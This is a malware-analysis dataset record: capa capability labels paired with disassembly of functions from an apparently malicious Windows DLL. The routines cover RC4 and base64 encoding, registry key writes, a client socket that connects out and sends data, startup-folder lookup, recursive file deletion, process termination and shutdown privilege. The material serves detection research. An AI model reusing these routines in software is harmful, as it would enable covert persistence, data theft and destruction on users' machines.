joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001140
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov rbx, rdx
mov rdi, rcx
mov r10, rcx
lea r11, [rdx + 1]
mov esi, 0x56
lea rbp, [0x180034c20]
nop dword [rax]
movzx r8d, byte [r11 - 1]
movzx r9d, byte [r11]
movzx edx, byte [r11 + 1]
mov eax, r8d
add r10, 4
add r11, 3
shr rax, 2
movzx eax, byte [rax + rbp]
mov byte [r10 - 4], al
movsx eax, r8b
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, r9d
shr eax, 4
or rcx, rax
movzx eax, byte [rcx + rbp]
mov byte [r10 - 3], al
movsx eax, r9b
and eax, 0xf
shl eax, 2
movsxd rcx, eax
mov eax, edx
shr rax, 6
or rcx, rax
movzx eax, byte [rcx + rbp]
mov byte [r10 - 2], al
movsx rax, dl
and eax, 0x3f
dec rsi
movzx eax, byte [rax + rbp]
mov byte [r10 - 1], al
jne 0x180001170
movzx ecx, byte [rbx + 0x102]
movzx edx, byte [rbx + 0x103]
mov rbx, qword [rsp + 8]
mov eax, ecx
add r10, 4
shr rax, 2
movzx eax, byte [rax + rbp]
mov byte [r10 - 4], al
movsx eax, cl
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, edx
shr rax, 4
or rcx, rax
movzx eax, byte [rcx + rbp]
movsx ecx, dl
mov byte [r10 - 3], al
and ecx, 0xf
shl ecx, 2
movsxd rcx, ecx
movzx ecx, byte [rcx + rbp]
mov rbp, qword [rsp + 0x10]
mov byte [r10 - 2], cl
mov byte [r10 - 1], 0x3d
mov byte [r10], sil
mov rsi, qword [rsp + 0x18]
sub r10, rdi
mov rdi, qword [rsp + 0x20]
lea eax, [r10 + 1]
ret

Function at 0x1800017b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rbx, rcx
or rcx, 0xffffffffffffffff
mov rdi, r8
mov r9, r8
xor eax, eax
mov esi, edx
repne scasb al, byte [rdi]
mov rdx, r9
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x20]
call fcn.1800016c0
xor edx, edx
mov edi, edx
test esi, esi
je 0x180001878
mov r8d, esi
inc edx
and edx, 0x800000ff
jge 0x18000181a
dec edx
or edx, 0xffffff00
inc edx
movsxd r9, edx
movzx r10d, byte [rsp + r9 + 0x20]
add edi, r10d
and edi, 0x800000ff
jge 0x180001838
dec edi
or edi, 0xffffff00
inc edi
movsxd rcx, edi
movzx eax, byte [rsp + rcx + 0x20]
mov byte [rsp + r9 + 0x20], al
mov byte [rsp + rcx + 0x20], r10b
movzx ecx, byte [rsp + r9 + 0x20]
add ecx, r10d
and ecx, 0x800000ff
jge 0x180001865
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
inc rbx
movzx ecx, byte [rsp + rax + 0x20]
xor byte [rbx - 1], cl
dec r8
jne 0x180001806
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180001c10
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov r13, r8
mov r12, rcx
xor ebx, ebx
mov qword [rsp + 0x58], rbx
lea rcx, str.ADVAPI32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
lea rdx, str.RegCreateKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.RegSetValueExA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
lea rdx, str.RegDeleteKeyA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegDeleteValueA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegOpenKeyExA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.RegCloseKey
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000001
call r15
test eax, eax
jne 0x180001d53
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000001
call r14
test eax, eax
jne 0x180001d53
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r13
mov r12d, 1
mov r9d, r12d
xor r8d, r8d
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x60]
test eax, eax
cmove ebx, r12d
mov rcx, 0xffffffff80000001
call rsi
mov rcx, qword [rsp + 0x58]
call rsi
test rdi, rdi
je 0x180001d71
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180001d90
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x1d0
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor esi, esi
lea rax, vtable.CClientSocket.0
mov rbx, rcx
mov qword [rcx], rax
mov dword [rcx + 0x20], esi
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rsi
lea rdi, vtable.CBuffer.0
add rcx, 0x28
mov qword [rcx - 0x20], rdi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x70]
mov qword [rbx + 0x50], rdi
mov dword [rbx + 0x68], esi
mov qword [rbx + 0x58], rsi
mov qword [rbx + 0x60], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0xb8]
mov qword [rbx + 0x98], rdi
mov dword [rbx + 0xb0], esi
mov qword [rbx + 0xa0], rsi
mov qword [rbx + 0xa8], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [rsp + 0x20]
mov ecx, 0x202
mov qword [rbx + 0x188], rsi
mov dword [rbx + 0x190], esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rsi + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor ecx, ecx
mov byte [rbx + 0x178], sil
mov qword [rbx + 0x168], 0xffffffffffffffff
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x170], rax
call fcn.180011680
mov rcx, rax
call fcn.18001163c
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180001fd0
Capabilities:
Connect socket
Create thread
Get local ipv4 addresses
Get socket information
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
call fcn.180002700
mov rcx, qword [rdi + 0x170]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 1
mov byte [rdi + 0x178], 0
lea ecx, [rdx + 1]
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rdi + 0x168], rax
cmp rax, 0xffffffffffffffff
jne 0x18000203a
xor al, al
jmp 0x1800021a0
lea r9, [rbp - 1]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x180002033
mov rax, qword [rbp - 1]
movzx ecx, si
mov rdx, qword [rax + 0x20]
mov eax, dword [rdx]
mov dword [rbp + 0x1f], eax
mov eax, dword [rdx + 4]
mov dword [rbp + 0x23], eax
mov eax, dword [rdx + 8]
mov dword [rbp + 0x27], eax
mov eax, dword [rdx + 0xc]
mov dword [rbp + 0x2b], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp - 1]
mov word [rbp + 0x21], ax
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rcx, qword [rdi + 0x168]
lea rdx, [rbp + 0x1f]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x180002033
mov rcx, qword [rdi + 0x168]
xor eax, eax
lea r8, [rbp - 9]
lea rdx, [rbp + 0xf]
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
mov dword [rbp - 9], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
lea rcx, [rdi + 0xe0]
xor edx, edx
mov r8d, 0x80
call fcn.180016520
mov r9d, 0x80
lea r8, [rdi + 0xe0]
lea ecx, [r9 - 0x7e]
lea rdx, [rbp + 0x13]
call qword [sym.imp.WS2_32.dll_inet_ntop]
mov rcx, qword [rdi + 0x168]
lea r9, [rbp - 5]
mov edx, 0xffff
mov r8d, 8
mov dword [rbp - 5], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
xor ebx, ebx
test eax, eax
jne 0x180002173
mov rcx, qword [rdi + 0x168]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 7]
lea r9d, [rbx + 0xc]
lea r8, [rbp + 0x2f]
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov dword [rbp + 0x2f], 1
mov dword [rbp + 0x33], 0x2bf20
mov dword [rbp + 0x37], 0x1388
call qword [sym.imp.WS2_32.dll_WSAIoctl]
lea r8, [0x1800021c0]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov byte [rdi + 0x178], 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 0x160], rax
mov al, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180011250
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180002700
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x168]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x80
xor ebx, ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x168]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x178], ebx
mov rcx, qword [rdi + 0x168]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 0x170]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0x168], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret

Function at 0x180002ac0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor edi, edi
mov r15d, r8d
mov rsi, rdx
mov r14, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0x300000
jl 0x180002b64
nop word [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r14 + 0x168]
xor r9d, r9d
mov r8d, 0x300000
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov ecx, socket
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test r13d, r13d
jg 0x180002b43
inc ebx
cmp ebx, 0xf
jl 0x180002b10
cmp ebx, 0xf
je 0x180002bcd
sub ebp, 0x300000
add r12d, r13d
add rsi, 0x300000
cmp ebp, 0x300000
jge 0x180002b00
test ebp, ebp
jle 0x180002ba6
nop dword [rax + rax]
mov rcx, qword [r14 + 0x168]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov ecx, socket
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jg 0x180002b9e
inc edi
cmp edi, 0xf
jl 0x180002b70
cmp edi, 0xf
je 0x180002bcd
add r12d, ebx
or eax, 0xffffffff
cmp r12d, r15d
cmove eax, r12d
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
or eax, 0xffffffff
jmp 0x180002bb0

Function at 0x180002c40
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x50
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
xor r9d, r9d
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x48], rax
xor eax, eax
lea r8, [0x180002be0]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x50
pop rbx
ret
Function at 0x180002cb0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r12, rcx
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
mov qword [rsp + 0x30], rax
lea rdx, str.GetThreadDesktop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.GetUserObjectInformationA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rdx, str.SetThreadDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.CloseDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rsp + 0x40], rax
lea rdx, [0x180034dd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov ecx, eax
call rbx
mov r14, rax
mov ebx, 1
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x100
lea r8, [rsp + 0x50]
lea edx, [rbx + 1]
mov rcx, r12
call qword [rsp + 0x48]
test eax, eax
jne 0x180002d9c
xor ebx, ebx
jmp 0x180002db1
mov rcx, r12
call r15
test eax, eax
jne 0x180002daa
xor ebx, ebx
jmp 0x180002db1
mov rcx, r14
call r13
nop
test rdi, rdi
je 0x180002dbf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rsi, rsi
je 0x180002dcd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180002ec0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, ecx
lea rcx, str.ADVAPI32.dll
mov r14b, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.OpenProcessToken
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LookupPrivilegeValueA
mov rcx, rsi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x180034e58]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call rbx
test eax, eax
je 0x180003001
neg ebp
lea r8, [rsp + 0x3c]
lea rdx, str.SeShutdownPrivilege
sbb eax, eax
xor ecx, ecx
mov dword [rsp + 0x38], 1
and eax, 2
mov dword [rsp + 0x44], eax
call r13
mov rcx, qword [rsp + 0x30]
xor ebp, ebp
lea r8, [rsp + 0x38]
xor edx, edx
lea r9d, [rbp + 0x10]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call r12
lea rcx, [0x180034e70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x180034e80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, qword [rsp + 0x30]
movzx ebx, r14b
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x180002ff0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rdi, rdi
je 0x180002ffe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, bl
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180003030
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x180003170
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x180003170
test rsi, rsi
je 0x180003170
mov qword [rsp + 0x70], r12
lea rdx, [rsp + 0x60]
xor r12d, r12d
mov rcx, rbx
mov dword [rsp + 0x60], r12d
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x60], eax
jne 0x180003091
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
jne 0x1800030b0
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r12, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov edi, 0x104
mov eax, 2
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x78], r13
mov r13, 0xffffffffffffffff
mul rdi
cmovo rax, r13
mov rcx, rax
call fcn.1800116e0
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov rbp, rax
call qword [sym.imp.USER32.dll_InternalGetWindowText]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov r9d, r13d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp eax, edi
jg 0x18000315f
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], eax
mov r9d, r13d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test rbp, rbp
je 0x180003146
mov rcx, rbp
call fcn.1800116e8
mov eax, ebx
mov rbp, qword [rsp + 0x68]
mov r13, qword [rsp + 0x78]
mov r12, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
test rbp, rbp
je 0x18000316c
mov rcx, rbp
call fcn.1800116e8
xor eax, eax
jmp 0x180003148
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x180003190
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rdx
call fcn.180003470
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, [rsp + 0x20]
lea rdx, [0x180034e90]
lea rcx, [rsp + 0x30]
call fcn.18001199c
xor ebx, ebx
test rax, rax
je 0x180003207
cmp ebx, 2
je 0x180003207
lea r8, [rsp + 0x20]
lea rdx, [0x180034e90]
xor ecx, ecx
call fcn.18001199c
inc ebx
test rax, rax
jne 0x1800031e8
lea rdx, str.C:Users_s_s
lea rcx, [rsp + 0x140]
mov r9, rdi
mov r8, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x140]
call fcn.180003260
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180011250
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret
Function at 0x180003260
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xf8]
sub rsp, 0x1f0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp + 0xe0], rax
mov rbx, rcx
mov qword [rsp + 0x40], select
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x28], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.180004010
nop
mov rax, qword [rsp + 0x38]
lea rcx, [rax - 1]
cmp rax, rcx
ja 0x1800032e9
lea rcx, str.invalid_string_position
call fcn.18001e0c0
int3
lea rax, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rax, qword [rsp + 0x28]
cmp byte [rax + rcx], 0x5c
je 0x18000330a
lea rcx, [rsp + 0x28]
call fcn.180003590
lea r8, [0x180034ea8]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.180003770
cmp qword [rax + 0x18], 0x10
jb 0x18000332a
mov rax, qword [rax]
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp qword [rsp + 0x68], 0x10
jb 0x18000334c
mov rcx, qword [rsp + 0x50]
call fcn.180011270
mov qword [rsp + 0x68], select
mov qword [rsp + 0x60], 0
mov byte [rsp + 0x50], 0
cmp rdi, 0xffffffffffffffff
jne 0x180003382
cmp qword [rsp + 0x40], 0x10
jb 0x18000337b
mov rcx, qword [rsp + 0x28]
call fcn.180011270
xor al, al
jmp 0x18000344c
test byte [rbp - 0x60], 0x10
je 0x1800033d9
lea rdx, [0x180034eac]
lea rcx, [rbp - 0x34]
call fcn.180011bb0
test eax, eax
je 0x180003410
lea rdx, [0x180034eb0]
lea rcx, [rbp - 0x34]
call fcn.180011bb0
test eax, eax
je 0x180003410
lea r8, [rbp - 0x34]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.180003770
nop
cmp qword [rax + 0x18], 0x10
jb 0x1800033ce
mov rax, qword [rax]
mov rcx, rax
call fcn.180003260
nop
jmp 0x1800033ff
lea r8, [rbp - 0x34]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.180003770
cmp qword [rax + 0x18], 0x10
jb 0x1800033f6
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp qword [rbp - 0x70], 0x10
jb 0x180003410
mov rcx, qword [rsp + 0x78]
call fcn.180011270
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180003382
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
cmp qword [rsp + 0x40], 0x10
jb 0x18000344a
mov rcx, qword [rsp + 0x28]
call fcn.180011270
mov al, 1
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180003470
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800034e7
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x18000350b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800034b0
or eax, 0xffffffff
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180011250
mov rsi, qword [rsp + 0x180]
add rsp, 0x160
pop rdi
ret
mov qword [rsp + 0x178], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x180003564
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180003520
mov rbx, qword [rsp + 0x178]
mov eax, 1
jmp 0x1800034ea

Function at 0x180004140
Capabilities:
Enumerate processes

Disassembly:
push r12
push r13
push r14
sub rsp, 0x30
mov r13, rdx
mov r14, rcx
mov rdx, r8
mov rcx, r13
mov r12, r8
mov dword [r8], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180004201
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
lea r15, [0x180040428]
nop
mov rbx, r15
mov esi, reloc.WS2_32.dll_recv
nop dword [rax + rax]
mov rdx, qword [rbx - 8]
lea rcx, [r12 + 0x2c]
call fcn.180011f60
test eax, eax
jne 0x1800041cf
mov rdx, qword [rbx]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r14
call fcn.180003960
add rbx, 0x10
dec rsi
jne 0x1800041a0
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180004190
mov r15, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
